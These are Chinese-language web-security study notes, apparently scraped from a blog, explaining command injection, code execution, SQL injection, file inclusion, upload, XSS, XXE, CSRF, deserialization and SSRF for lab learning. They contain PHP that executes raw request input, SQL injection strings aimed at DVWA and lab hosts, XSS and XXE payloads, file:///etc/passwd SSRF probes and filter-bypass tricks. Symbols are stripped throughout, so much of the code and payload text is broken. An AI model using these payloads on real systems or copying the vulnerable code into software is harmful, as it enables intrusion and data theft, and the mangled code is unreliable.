购物网站主页怎么做,手机能创建网站吗,营销推广有哪些步骤,帮别人做钓鱼网站犯法吗一、PHP命令执行函数
原理: 命令执行函数解释:在PHP中有一些执行命令的函数#xff0c;这些函数使你可以在PHP基本执行外部执行命令#xff0c;并获取其输出的结果
漏洞产生原因#xff1a;
#xff08;1#xff09;没有对用户输入进行过滤或过滤不严
例如#xff0c;…一、PHP命令执行函数
原理: 命令执行函数解释:在PHP中有一些执行命令的函数这些函数使你可以在PHP基本执行外部执行命令并获取其输出的结果
漏洞产生原因
1没有对用户输入进行过滤或过滤不严
例如没有过滤、、|、||等连接符
2系统漏洞造成的命令执行
bash破壳漏洞(CVE-2014-6271)该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码会影响到bash交互的多种应用如http、ssh和dhcp等
3调用的第三方组件存在代码执行漏洞
例如
php(system()、shell_exec()、exec()、eval())
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行php代码相关函数
eval()
assert()
preg_replace
call_user_func()
call_user_func_array()
create_function
array_map()
系统命令执行相关
system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
(反单引号)
ob_start()
特殊函数
phpinfo()
#这个文件里面包含了PHP的编译选项启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息
symlink()
#一般是在linux服务器上使用的为一个目标建立一个连接在读取这个链接所连接的文件的内容并返回内容
getenv
#获取一个环境变量的值
putenv($a)
#添加$a到服务器环境变量但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态1.1 PHP哪些是执行命令函数
exec(); exec();函数执行一个外部命令并返回最后一行输出
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
echo exec($action);
echo pre/
?shell_exec():shell_exec();函数执行一个shell命令
并返回输出作为字符串和exec()不同的是shell_exec()返回的是完整的内容并不是最后一行
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
echo shell_exec($action);
echo pre/
?system();system()函数执行一个外部命令
并输出结果与exec();不同之处在于system();直接输出结果到输出流而不是将其返回。
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
system($action);
echo pre/
?passthru();passthru()函数执行一个外部命令
并将输出直接发送到标准输出。它与system()类似但是不会对输出进行任何处理直接将其发送到输出流。
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
passthru($action);
echo pre/
?反引号 直接输出执行结果
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
echo $action;
echo pre/
?Popen 返回一个执行结果
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
echo popen($action,r);
echo pre/
?cmdls -a 返回值为2说明这个命令已经被执行了防御函数
当用户提供的数据传入函数使用escapeshellarg() 或escapeshellcmd() 来确保用户欺骗系统从而执行任意命令。
escapeshellarg ( string $arg )可以用到php 的安全中会过滤掉arg 中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg会被过滤掉。
escapeshellcmd ( string $command )
escapeshellcmd()函数会转义命令中的所有shell 元字符来完成工作。这些元字符包括# ; ,| * ? ~ ^ ( ) [ ] { } $ \\。
实例
?php
//代码审计命令注入
$action $_GET(cmd);
echo pre;
echo shell_exec(escapeshellcmd($action))
echo pre/
?二、PHP代码执行函数
代码执行函数在php中有一些函数将输入的字符串参数当作PHP程序代码来执行
2.1 常见的代码执行函数
eval,assert,preg_replace
2.1.1 eval代码执行注入
?php
if(isset($_GET[gansir])){
$gansir$_GET[gansir];
eval(\$gansir $gansir;);
}
?当在网页输入xxx/234.php?gansirphpinfo*(); phpinfo()代码将被直接执行并返回值2.2.2 assert代码执行注入
?php
if(isset($_GET[gansir])){
$gansir$_GET[gansir];
assert(\$gansir $gansir;);
}
?
原理和上面的eval一样2.2.3 preg_replace 正则代码执行注入
当pattern 中存在/e 模式修饰符即允许执行代码
pattern 在一个参数
?php
echo $regexp $_GET[reg];
$var phpphpinfo()/php;
preg_replace(/php(.*?)$regexp, \\1, $var);
?
replacement 第二个参数
?php
preg_replace(/gansir/e,$_GET[gansir],I love gansir);
?preg_replace()第三个参数注射
?php
preg_replace(/\s\[php\](.?)\[\/php\]\s/ies, \\1, $_GET[gansir]);
?三、sql注入
原理:sql注入
通过在应用程序中注入恶意的SQL代码从而在后台数据库执行非授权的操作。SQL注入攻击通常利用应用程序对用户输入数据的不正确处理使得攻击者能够执行未经授权的数据库查询、插入、更新或删除操作甚至获取敏感数据。 判断笔记: ?id1’ ) )) 判断闭合可以加?id1\ 查看闭合条件 数字类型’ 都会报错 字符类型’ 有一个报错
3.1 联合注入
前提要求数据会进行回显页面有显位符在一个在一个网站的正常页面服务端执行SQL语句查询数据库中的数据客户端将数 据展示在页面中这个展示数据的位置就叫显示位
数据库默认数据库保存了数据库中的数据库库名表名字段并解释
information_schema 是mysql数据库默认的数据库实例初始化完成就存在
SCHEMATA表存储数据名称的关键字段是SCHEMA_NAME
TABLES表存储表名的TABLE_SCHEMA表示表所属的数据库名称TABLE_NAME表示表的名称。
COLUMNS表:存储的字段名。COLUMN_NAME表示字段名。
group_concat(table_name):打印出所有的表名称
实例:select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity 打印出information_schema库下tables表中所有的表名称筛选条件为security库
实例union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers-- 查看security库中users表中的所有字段
实例union select 1,2,group_concat(id,username,password) from security.users -- 查看users表中的username ,id , password字段数据实例查看information库中的user表并获取字段
数据库语句SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA information AND TABLE_NAME user;
网页表现形式http://172.16.16.23:8080/usera.php?name-1 and 12 union select 1,2,3,4,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA informationAND TABLE_NAME user; 链表查询information_schema库中的数据库名称
UNION select SCHEMA_NAME,2 FROM information_schema.SCHEMATA;链表查询information_schema库中dvwa库中的表名
1 UNION select TABLE_NAME,2 FROM information_schema.TABLES where TABLE_SCHEMAdvwa;
十六进制格式
1 union select TABLE_NAME COLLATE utf8_general_ci,2 FROM information_schema.TABLES where TABLE_SCHEMA0x64767761 注意0x是机器识别码链表查询information_schema库中dvwa库users的字段
1 union select COLUMN_NAME COLLATE utf8_general_ci,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMAdvwa AND TABLE_NAMEusers;
十六进制格式
1 union select COLUMN_NAME COLLATE utf8_general_ci,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA0x64767761 AND TABLE_NAME0x7573657273链表查询dvwa库中users表中的user和password字段
1 union select user,password from dvwa.users3.2 布尔盲注
布尔为计算机中的一种数据类型分为true、False两种类型盲注则是表示注入过程中数据不会回显只能根据页面返回两种内容的的不同来判断注入语句判断的内容是否正确 在布尔盲注中通常需要使用连接符号and、or等字符来连接两个字符串 (1)首先猜解之前应当判断内容的长度(猜错无返回猜对有返回)
3.3 时间盲注
时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟;在猜解正确或者失败时执行造成时间延迟的语句,辅助判断是否内容猜解正确
常用sql盲注时造成时延的方法
sleep()
benchmark()
笛卡尔积
get_lock()函数3.4 堆叠注入
堆叠注入的使用条件十分有限其可能受到 API 或者数据库引擎又或者权限的限制只有 当调用数据库函数支持执行多条 sql 语句时才能够使用利用 mysqli_multi_query()函数就支持多条 sql 语句同时执行但实际情况中如 PHP 为了防止 sql 注入机制往往使用调用数据库的函数是 mysqli_ query()函数其只能执行一条语句分号后面的内容将不会被执行所 以可以说堆叠注入的使用条件十分有限一旦能够被使用将可能对网站造成十分大的威胁。 在SQL数据库串每条SQL语名是以分开的堆叠注入就是一次性注入入多条SQL语句 与union联合查询注入的区别union联合查询注入执行的语句类型是有限的可能用来执行查询语句。堆叠注入可以执行是任意的语句增删改查
3.5 报错注入
SQL报错注入就是利用数据库的某些机制人为地制造错误条件使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用目前对于各种不同类型数据库不同版本数据库报错注入时可能并不能通用常用可以通用的报错注入的方式有两种xpath注入和主键重复导致的报错
常用sql报错注入的方法
xpath报错注入
extractvalue(文档路径)
updatexml()除了语法与extractvalue()略有不同外使用方法基本相同
主键重复报错注入3.6 http-header注入
验证客户端头信息或者获取客户端的一些信息会对客户端的http-header信息进行获取并使用sql语句进行处理头注入就是将请求头中的数据放入数据库当做命令执行。
3.7 宽字节注入
如果程序设计数据库编码的时候设置了非英文编码php发送请求到mysql时经过一次gbk编码因为gbk是双字节编码当设置gbk编码后遇到了连续两个字节都符合gbk取值范围会自动解析成一个汉字输入%df%27本来\会转义%27’,但\%5c的编码数为92%df的编码数为223符合取值范围于是%df%5c会解析成为一个汉字“運”单引号就逃逸了出来从而绕过转义造成注入。
3.8 二次注入
第一次在第一次进行数据库插入数据的时候仅使用addslashes或者get_magic_quotes_gpc对其中的特殊字符进行转义在写入数据库的时候还保留了原来的数据但是数据本身还是脏数据 第二次脏数据存入到数据库中之后开发者就认为数成是可信的。在下一次进行需要查询的时候直接从数据库中取出了脏数据没有进行进一步的过滤这样就造成了SQL二次注入。
防直接从数据库中取出脏数据进行过滤
攻击步骤
1.找到系统里面存在admin用户
2.登陆页面和注册的页面我们发现都进行特殊字符处理-按照以前的注入方法无法完成
3.特点我们注册它的特殊字符串能够直接写到数据库当中我们这里能不能将特殊字符读出来?
二次注入实现方法
1.找到系统里面存在admin用户我们的目标是修改admin用户的密码这个时候我们就可以实现后台登陆
2.我们要创建一个用户admin’# 密码任意 admin #
3.进入登陆界面注册的 admin’# 密码任意 SELECT * FROM users WHERE usernameadmin # and password$password;
4.登陆成功之后的页面进行拼接UPDATE users SET PASSWORD$pass where usernameadmin’# and password$curr_pass,实现了对admin用户进行了修改密码3.9 DNSLOG注入
HTTP注入(Cookie注入,Referer注入,User-Agent注入,X-Forwarded-For (XFF) 注入) Cookie注入攻击者尝试在Cookie头部字段中插入恶意内容以影响服务器的会话管理或认证机制。 Referer注入Referer头部字段通常用于表示请求的来源页面。攻击者可能尝试篡改此字段以进行跨站请求伪造CSRF攻击或混淆服务器的日志记录。 User-Agent注入User-Agent头部字段用于标识发出请求的浏览器或其他客户端软件。攻击者可能尝试修改此字段以绕过某些安全检测或伪装请求的来源。 X-Forwarded-For (XFF) 注入X-Forwarded-For头部字段用于表示HTTP请求的来源IP地址。在代理或负载均衡器场景中常见。攻击者可能尝试伪造此字段以隐藏其真实IP地址或进行其他类型的攻击。
四、文件包含漏洞
什么是文件包含
文件包含一个文件调用另外一个文件被包含的文件无论什么格式都可以被执行。
4.1 文件包含分为本地包含和远程包含
本地包含:包含文件调用本地文件 远程包含包含文件调用远程地址文件 注意远程包含需要的必要条件1、网络可以互相通信 2、被攻击端需要打开PHP的allow_url_fopneOn,allow_url_inclideOn
4.2 文件包含的PHP函数
include,include_once,require,require_once
include():当使用该函数包含文件时只有代码执行到include()函数时才将文件包含进来发生错误时只出一个警告继续向下执行。
include_once():功能和include()相同区别在于当重复调用同一文件时程序只调用一次。
require():require()与include()的区别在于require()执行如果发生错误函数输出错误信息并终止脚本的运行。
使用require()函数包含文件时只要程序一执行立即调用文件而includer()只有程序执行到该函数时才调用
require_once()它的功能与require()相同区别在于当重复调用同一文件时程序只调用一次4.3 文件包含调用实例
hao.php文件中有文件包含函数
例如
?php
if(isset($_GET[file])){$file$_GET[file];include $file;
}
?
include 文件包含函数本地文件包含调用实例
命令http://172.16.16.23:8080/hao.php?filetest2.php test2.php是本地存在的一个文件
远程文件包含实例调用
命令http://172.16.16.23:8080/hao.php?filehttp://172.16.16.102:8080/test.php test.php是远程地址中的文件 远程调用需要开始调用端开启php的allow_url_fopneOn,allow_url_inclideOn五、文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马病毒恶意脚本或者WebShell等。“文件上传”本身没有问题有问题的是文件上传后服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全则会导致严重的后果。
产生文件上传漏洞的原因
(1)对于上传文件的后缀名扩展名没有做较为严格的限制 (2)对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查 (3)权限上没有对于上传的文件目录设置不可执行权限尤其是对于shebang类型的文件 (4)对于web server对于上传文件或者指定目录的行为没有做限制
防御方法 文件类型检查在上传文件时验证文件的类型和扩展名只允许上传安全的文件类型如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。 文件大小限制限制上传文件的大小避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制超过限制的文件将被拒绝上传。 文件名检查扩展名对上传的文件名进行检查避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名确保文件名安全。 文件内容检查对上传的文件内容进行检查确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测以识别潜在的恶意代码。 存储路径隔离不要暴露上传的路径将上传的文件存储在独立的目录中避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。 文件权限设置设置上传文件的权限确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限以防止恶意用户访问或执行上传的文件。
利用方式
1找到文件上传的位置通过提供的上传文件的接口不一定 2尝试绕过成功上传文件
常见的绕过方式
删除/禁用前端JavaScript 抓包修改 等价扩展名 大小写绕过 双写 截断%00 图片马的绕过 二次渲染
六、xss漏洞
原理:
攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码导致管理员/用户访问时触发从而达到攻击者的目的 解释服务器对用户提交的数据过滤不严导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行从而实现对客户端的攻击目的
攻击类型:
(1)反射型非持久型: 反射型XSS又称非持久型XSS攻击相对于受害者而言是一次性的具体表现在受害者点击了含有的恶意JavaScript脚本的url恶意代码并没有保存在目标网站而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本 (2)存储型持久型: 存储型XSS是指应用程序通过Web请求获取不可信赖的数据在未检验数据是否存在XSS代码的情况下便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区用户提交了包含XSS代码的留言到数据库当目标用户查询留言时那些留言的内容会从服务器解析之后加载出来。 (3)DOM型非持久型: DOM全称Document Object Model是一个平台和语言都中立的接口可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式DOM-XSS简单理解就是不与后台服务器产生数据交互是一种通过DOM操作前端代码输出的时候产生的问题。
XSS漏洞的危害
1.窃取用户Cookie 2.后台增删改文章 3.XSS钓鱼攻击 4.利用XSS漏洞进行传播和修改网页代码 5.XSS蠕虫攻击 6.网站重定向 7.获取键盘记录 8.获取用户信息等
防御机制
1、对输入和URL参数进行过滤(白名单和黑名单) 检查用户输入的数据中是否包含一些特殊字符如、、’、“等发现存在特殊字符将这些特殊字符过滤或者编码。
2、HTML实体编码 字符串js编码转换成实体html编码的方法防范XSS攻击
3、对输出内容进行编码 在变量输出到HTML页面时可以使用编码或转义的方式来防御XSS攻击。
攻击流程及思路
1、侦查(找变量(可控))
2、敌情分析(1、环境分析 2、弹窗符号是否有过滤如:、(、、 3、弹窗关键词是否有过滤如:script 4、是否可以临时修改前端属性)
3、敌情分析构造POC(js)拼接
#### 常用攻击代码
1、scriptalert(document.domdomainain);/script
2、scriptalert(document.domain);/script
3、验证发现:p1变量设置了过滤 通过抓包把代码替换成为P2的值
4、验证发现:p1变量设置了过滤 通过抓包发现有三个变量p1 p2 p3 p1.p2做了字符转义 p3是一个字符串需要先闭合再输入代码scriptalert(document.domain);/script
5、通过抓包发现只有一个变量并设置了字符长度使用抓包软件把input闭合输入代码scriptalert(document.domain);/script6、通过抓包发现只有一个变量p1,F12查看源码 设置了特殊符号转义 编辑页面HTML代码直接赋值给value 饶过页面提交
执行代码有以下几个:
1、scriptalert(document.domain;/script
2、javascript:alert(document.domain)
3、onmousemoveralert(document.domain)
4、οnclickalert(document.domain)
5、scriptalert(document.domain);/script
6、script eval(atob(YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ));/script
7、\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e扩展http协议数据包讲解
http协议原理请求包和回应包
web应用编码技术 url编码统一资源定位符url标准格式protocol://hostname:[:port]/path/[?query] ,协议类型httphttps,ftp),hostname服务器域名或IP地址服务器端口HTTP默认80path资源所在路径[?query]发送服务端的数据?usernameadminpwdadmin), ?usernameadminpwd12345678 密码设置成12345678; 浏览上输入 以上地址回车会破坏语法结构从而导致服务端会认为密码是1234而不是12345678
解决技术url编码%26?usernameadminpwd1234%265678服务端对URL进行解析后会对参数九自动进行一次URL解码将%26解码加URL:在数据传输时特殊 字符需要编码
base64编码url在数据传输时特殊 字符需要编码若文件传输里存在特殊字符如何避免解析错误呢web应用在设计时为了避免大文件传输数据错乱的问题才了base64对整个文内容进行编码hex编码文件存储时也在存这类特殊字符问题解决的方法使用进制存储。常见的进制编码有二进制八进制十进制及十六进制http协议请求格式:
请求包
get (提交数据小 post 提交大量数据无限制:
POST请求方法 /stage008.php?sid653b84d134f4e63eee13164b0f933c2dca4ff759url) HTTP/1.1(http协议版本 --------请求行
Host: xss-quiz.int21h.jp :指定被请求资源的主机名
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.2; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729) ----产生请求的浏览器类型
Accept: text/html,application/xhtmlxml,application/xml;q0.9,/;q0.8 用户声明客户端可处理的mime类型
Accept-Language: zh-cn,zh;q0.5 用于声明客户端能够理解的自然语言
Accept-Encoding: gzip, deflate 用于声明客户端能够理解的内容编码方式
Accept-Charset: GB2312,utf-8;q0.7,*;q0.7 浏览器可以授受的字符编码集
Keep-Alive: 115 keep-alive 技术创建的目的就是能在多次 HTTP 之间重用同一个 TCP 连接从而减少创建/关闭多个 TCP 连接的开销包括响应时间、CPU 资源、减少拥堵等
Connection: close 表示是否需要持久接连
Referer: https://xss-quiz.int21h.jp/stage008.php?sid333e2e26ebead3891a6fe967fbec338ae4d5c87d 这个请求从哪个链接过来的
Cookie: __utma251560719.805050180.1708915699.1708915699.1708915699.1; __utmz251560719.1708915699.1.1.utmcsr(direct)|utmccn(direct)|utmcmd(none); PHPSESSIDsp578epne1vrqtktr87kbnkatl -----一般存放着用户的身份凭证
Content-Type: application/x-www-form-urlencoded 请求的内容对应的MIME信息
Content-Length: 5 请法说的内容长度大小
-------空行
p1aa ---请求数据get post head put delete options trace connect;
请求方式
代理x-forward-for:iphttp协议回应格式:
回应包respose
HTTP/1.1http协议版本 302状态码 Found状态描述 状态行
Date: Thu, 29 Feb 2024 09:38:01 GMT 请求发送的时间和日期GMT时间
Server: Apache 告诉客户端服务器的名称和版本号
X-Powered-By: PHP/7.2.24 造诉客户端服务器采用的CMS框架
X-XSS-Protection: 0
X-UA-Compatible: IEEmulateIE7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ?sid0867b6a6c82ddf6fa9bc214d6a51f1f3c01527cf
Strict-Transport-Security: max-age315360000;
Content-Length: 0 响应正文长度
Connection: close 告诉客户端响应完成后的链接状态
Content-Type: textml; charsetUTF-8 响应正文的MIME类型
last-modified: 日期用于指示资源的最后修改日期和时间
--空行
响应正文HTTP常见的状态码 1xx: 信息–服务器收到请求需要请求者继续执行操作 2xx: 成功–操作被成功接收并处理 3xx: 重定向–需要进一步的操作以完成请求 4xx: 客户端错误–请求包含语法错误或无法完成请求 5xx: 服务器端错误–服务器在处理请求的过程中发生了错误
七、XXE(XML外部实体注入漏洞)
原理
XEE漏洞发生在应用程序解析XML输入时没有禁止外部实体的加载导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描。攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置没有对上传的XML文件进行过滤导致可上传恶意XML文件
1、File_get_contents()
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
语法
file_get_contents(path,include_path,context,start,max_length)例子
?php
echo file_get_contents(test.txt);
?
输出
This is a test file with test text.
file_get_contents.php与test.txt在同一目录下2、php://input
php://input是一个可以访问请求的原始数据的只读流。
结合file_get_contents(“php://input”)可以读取post提交的数据不提交post数据则无输出。3、simplexml_load string函数介绍
php中的simplexml_load_string函数将xml格式字符串转换为对应的simeplXMLElemlent\
语法
simplexml_load_string(data,classname,options,ns,is_prefix);实例
4、XML注入回显PHP输出函数
在php中可以使用print_r()、echo输出想输出的内容。
语法
bool print_r ( mixed $expression [, bool $return ] )
参数说明
$expression: 要打印的变量如果给出的是 string、integer 或 float 类型变量将打印变量值本身。如果给出的是 array将会按照一定格式显示键和元素。object 与数组类似。
$return: 可选如果为 true 则不输出结果而是将结果赋值给一个变量false 则直接输出结果。
1服务端源代码
2提交正常参数
3构造payload
.?xml version1.0?
.!DOCTYPE ANY [
. !ENTITY content SYSTEM file:///D:/phpstudy_pro/WWW/test.txt
.]
note
namecontent;/name
/note
4利用payload读取文件test.txt
案例
?xml version1.0?
!DOCTYPE test [!ENTITY ddd SYSTEM file:///c:/Windows/System32/drivers/etc/hosts
]testddd;/test八、CSRF(跨站请求伪造)
原理
攻击者盗用了你的身份以你的名义发送恶意请求对服务器来说这个请求是完全合法的但是却完成了攻击者所期望的一个操作比如以你的名义发送邮件、发消息盗取你的账号添加系统管理员甚至于购买商品、虚拟货币转账等
2、CSRF类型
分为GET类型和POST类型
利用方式
1.寻找存CSRF漏洞的地方表单2.将这个动作抓下来 3.黑客构造自已网站4黑客将这个网站发给具有cookie用户去点击.
出现CSRF漏洞原因
存在csrf漏洞的服务器没有对用户提交的参数进行验证并且进行对应的身份进行验证验证它是合法用户或者管理员等。从而造 成了csrf.所以说咱们在对应敏感操作时或者其它只有管理员可以执行的操作一定要对CSRF进行验证。例 如管理员执行新建用户需要输入对应的密码。这个操作可以很大程序上避免管理员点击恶意链接对用户和密码进行添加、删除、修改。
CSRF漏洞本质
服务器无法准确判断当前请是否是合法用户的自定义操作。因为咱们用户登陆之后服务器就会设置对应的cookie进行身份验证。验证成功之后就可以执行对应的操作。而存在CSRF时咱们用户在点击了构造CSRFPOC那么点击之后发送请求到服务器。服务器接收到cookie因为咱们的用户已经登陆了这个时候cookie请求一起发送服务器。服务器确定了是一个合法用户但是并不判断它是用户自已的操作还是用户点击了poc执行操作。而使得这种情下就存在CSRF漏洞。那么这个时候我们就要对请求进行身份验证。那么我们只通cookie无法进行对应的操作。意思就是我们对每一次操作进行钥匙这个时候我们需要给登陆的合法用户一个唯一的合法令牌钥匙在每一次操作过种中服务器都会验证这个令牌是否正确。如果正确的话执行操作如果不正确的话就停止操作或者弹出对应的提示.
6、攻击流程
(1)用户输入账号信息请求登录A网站。
(2)A网站验证用户信息通过验证后返回给用户一个cookie
(3)在未退出网站A之前在同一浏览器中请求了黑客构造的恶意网站B
(4)B网站收到用户请求后返回攻击性代码构造访问A网站的语句
(5)浏览器收到攻击性代码后在用户不知情的情况下携带cookie信息请求了A网站。此时A网站不知道这是由B发起的。那么这时黑客就可以进行一下骚操作了两个条件a 用户访问站点A并产生了cookieb 用户没有退出A同时访问了B
7、防御机制
(1)验证 HTTP Referer 字段
(2)在请求地址中添加 token 并验证(Anti-CSRF token)九、反序列化
含义:什么是反序列化
序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串
反序列化unserialize()就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
按照反序列化的要求unserialize()函数的参数可控并都有相同的一个类并存在一个构建函数
使用serialize()函数进行序列化执行结果为O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}使用序列化之后的数据提交
可以看到提示成功
原理是使用使用serialize()函数进行序列化执行结果为O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}
然后提交到页面传参到后端后端使用unserialize()进行反序列化成php代码并执行。反序列化的原理:
(1)序列化与反序列化 序列化是将对象转换为字节流的过程以便可以将其保存到文件、数据库或通过网络传输。反序列化是将这些字节流重新构造成原始对象的过程。 (2)漏洞产生 当应用程序反序列化来自不可信源的数据时如果没有适当的验证和安全措施攻击者可以操纵这些数据来执行恶意代码。
形成漏洞的原因:
(1)信任外部输入 应用程序盲目信任外部输入的数据进行反序列化。 (2)缺乏输入验证 缺乏对反序列化数据的严格验证和清洁化。 (3)使用不安全的库或方法 使用存在已知漏洞的序列化/反序列化库。 反序列化的危害 (1)远程代码执行 攻击者可能执行任意代码控制受影响的系统。 (2)数据泄露 访问或修改应用程序数据导致信息泄露。 (3)拒绝服务攻击 通过构造特殊的对象导致应用崩溃造成服务不可用。
如何防御
避免使用Java原生序列化 使用更安全的序列化方法例如JSON或XML这些格式不容易受到此类攻击。 输入验证 对反序列化的数据进行严格的输入验证。 使用白名单 只允许特定的类进行反序列化。
防护措施
输入验证 对所有反序列化数据进行严格的输入验证。 最小化使用 尽量减少序列化和反序列化的使用。 使用安全的库和方法 选择具有良好安全记录的库并保持更新。 权限最小化 确保应用程序以最小的必要权限运行。
十、SSRF(服务器端请求伪造)
原理:
大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者-----服务器----目标地址 根据后台使用的函数的不同,对应的影响和利用方法又有不一样PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec()
如何判断存在漏洞
漏洞一般存在的地方
1分享链接
2转码服务
3在线翻译
4图片、文章收藏功能
5未公开的API实现以及其他调用URL的功能
6图片加载与下载
7从URL关键字中寻找share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain### 产生SSRF漏洞的函数PHP
1file_get_contents
2sockopen():
3curl_exec():### 当我们发现SSRF漏洞后
首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容如file:///etc/passwd
dict:// 字典服务器协议访问字典资源如dict:///ip:6739/info
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务可使用gopherus生成payload### SSRF危害
SSRF漏洞利用手段
1可以对外网、内网、本地进行端口扫描某些情况下端口的Banner会回显出来比如3306的
2攻击运行在内网或本地的有漏洞程序比如溢出
3可以对内网Web应用进行指纹识别原理是通过请求默认的文件得到特定的指纹
4攻击内网或外网有漏洞的Web应用
5使用file///协议读取本地文件(或其他协议### SSRF绕过
SSRF漏洞绕过方法
1 http://abc.com127.0.0.1
2添加端口号 http://127.0.0.1:8080
3短地址 https://0x9.me/cuGfD
4可以指向任意ip的域名 xip.io
5ip地址转换成进制来访问 192.168.0.13232235521十进制
6非HTTP协议
7DNS Rebinding### SSRF防御
1,过滤返回信息验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口比如80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。